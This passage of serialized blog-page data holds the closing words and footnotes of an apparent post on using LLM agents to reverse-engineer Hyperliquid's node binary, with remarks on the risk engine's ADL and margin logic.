next?",{"type":24,"tag":25,"props":170187,"children":170188},{},[170189],{"type":29,"value":170190},"This is by no means a strict scientific verdict, but rather some field notes. The public source code for the agents and their tools can be found over at this GitHub repo:",{"type":24,"tag":169861,"props":170192,"children":170193},{"url":163821},[],{"type":24,"tag":25,"props":170195,"children":170196},{},[170197],{"type":29,"value":170198},"The analyzed binary can be found here:",{"type":24,"tag":164141,"props":170200,"children":170203},{"path":170201,"name":163745,"size":170202},"https://blog-assets.osec.io/hyperliquid-risk-engine/hl-node",53573376,[],{"type":24,"tag":43,"props":170205,"children":170207},{"id":170206},"closing-words",[170208],{"type":29,"value":170209},"Closing Words",{"type":24,"tag":25,"props":170211,"children":170212},{},[170213],{"type":29,"value":170214},"As much as it would be exciting to say that everything can be cracked open and studied in the age of LLMs, there are still some gaps to bridge.",{"type":24,"tag":25,"props":170216,"children":170217},{},[170218,170220,170225],{"type":29,"value":170219},"Flagship models got us 60% of the way there, but a lot of ",{"type":24,"tag":8545,"props":170221,"children":170222},{},[170223],{"type":29,"value":170224},"manual",{"type":29,"value":170226}," work is still required: on one hand, documenting patterns in the Rust compiler and distilling that knowledge onto agents and tools; on the other, understanding the \"whys\" behind a program, beyond the technical question of the \"what\".",{"type":24,"tag":25,"props":170228,"children":170229},{},[170230],{"type":29,"value":170231},"Still, there is no doubt that LLMs have greatly accelerated progress in the field, and the dream of throwing a well-armed swarm of agents at an ugly blob of machine code to extract meaningful—and, most importantly, correct—representations and source code is nearing.",{"type":24,"tag":25,"props":170233,"children":170234},{},[170235],{"type":29,"value":170236},"We hope to be part of that future, where even complex and obfuscated systems will be verifiable at a glance.",{"type":24,"tag":170238,"props":170239,"children":170240},"report-footnotes",{},[170241],{"type":24,"tag":2674,"props":170242,"children":170243},{},[170244,170249,170276,170281,170286],{"type":24,"tag":2678,"props":170245,"children":170246},{},[170247],{"type":29,"value":170248},"ADL crashes the node upon failure. Specifically, if we don't manage to complete all of the fills against anybody, an assertion in the loop fails.",{"type":24,"tag":2678,"props":170250,"children":170251},{},[170252,170258,170260,170266,170268,170274],{"type":24,"tag":80,"props":170253,"children":170255},{"className":170254},[],[170256],{"type":29,"value":170257},"compute_user_margin_and_shortfall",{"type":29,"value":170259}," is a ubiquitous function for accounting. In its main branch, we loop over a B-tree (note the repeating offsets ",{"type":24,"tag":80,"props":170261,"children":170263},{"className":170262},[],[170264],{"type":29,"value":170265},"0x748",{"type":29,"value":170267}," in the abstract expressions of ",{"type":24,"tag":80,"props":170269,"children":170271},{"className":170270},[],[170272],{"type":29,"value":170273},"btree_cursor",{"type":29,"value":170275},") of per-user positions, branching out based on cross/isolated positions (in order to know what to consider for notional).",{"type":24,"tag":2678,"props":170277,"children":170278},{},[170279],{"type":29,"value":170280},"Also, the specifics of how prices are fetched have been hand-waved for simplicity, but the system is pessimistic at every step when computing notionals.",{"type":24,"tag":2678,"props":170282,"children":170283},{},[170284],{"type":29,"value":170285},"Some loop iterations within the ADL code look very inefficient; for example, we seem to sort and come up with sorted counterparties for each position to be absorbed.",{"type":24,"tag":2678,"props":170287,"children":170288},{},[170289,170291,170297],{"type":29,"value":170290},"Some of the historical data from Hyperliquid can be retrieved via this S3 bucket: ",{"type":24,"tag":80,"props":170292,"children":170294},{"className":170293},[],[170295],{"type":29,"value":170296},"s3://hl-mainnet-node-data/explorer_blocks",{"type":29,"value":87},{"title":7,"searchDepth":160,"depth":160,"links":170299},[170300,170301,170302,170303,170304,170307,170308,170309,170312,170313,170316,170320],{"id":163691,"depth":160,"text":163694},{"id":163684,"depth":160,"text":163712},{"id":163769,"depth":160,"text":163772},{"id":164050,"depth":160,"text":164053},{"id":164084,"depth":160,"text":164087,"children":170305},[170306],{"id":164223,"depth":169,"text":164226},{"id":165002,"depth":160,"text":165005},{"id":165098,"depth":160,"text":165101},{"id":165316,"depth":160,"text":165319,"children":170310},[170311],{"id":165561,"depth":169,"text":165564},{"id":165621,"depth":160,"text":165624},{"id":169987,"depth":160,"text":169990,"children":170314},[170315],{"id":170019,"depth":169,"text":170022},{"id":170078,"depth":160,"text":170081,"children":170317},[170318,170319],{"id":170084,"depth":169,"text":170087},{"id":170103,"depth":169,"text":165658},{"id":170133,"depth":160,"text":170136,"children":170321},[170322,170323,170324,170325],{"id":170144,"depth":169,"text":170147},{"id":170166,"depth":169,"text":170169},{"id":170182,"depth":169,"text":170185},{"id":170206,"depth":169,"text":170209},"content:blog:2026-06-22-hyperliquid-risk-engine.md","blog/2026-06-22-hyperliquid-risk-engine.md","blog/2026-06-22-hyperliquid-risk-engine",1790954630622]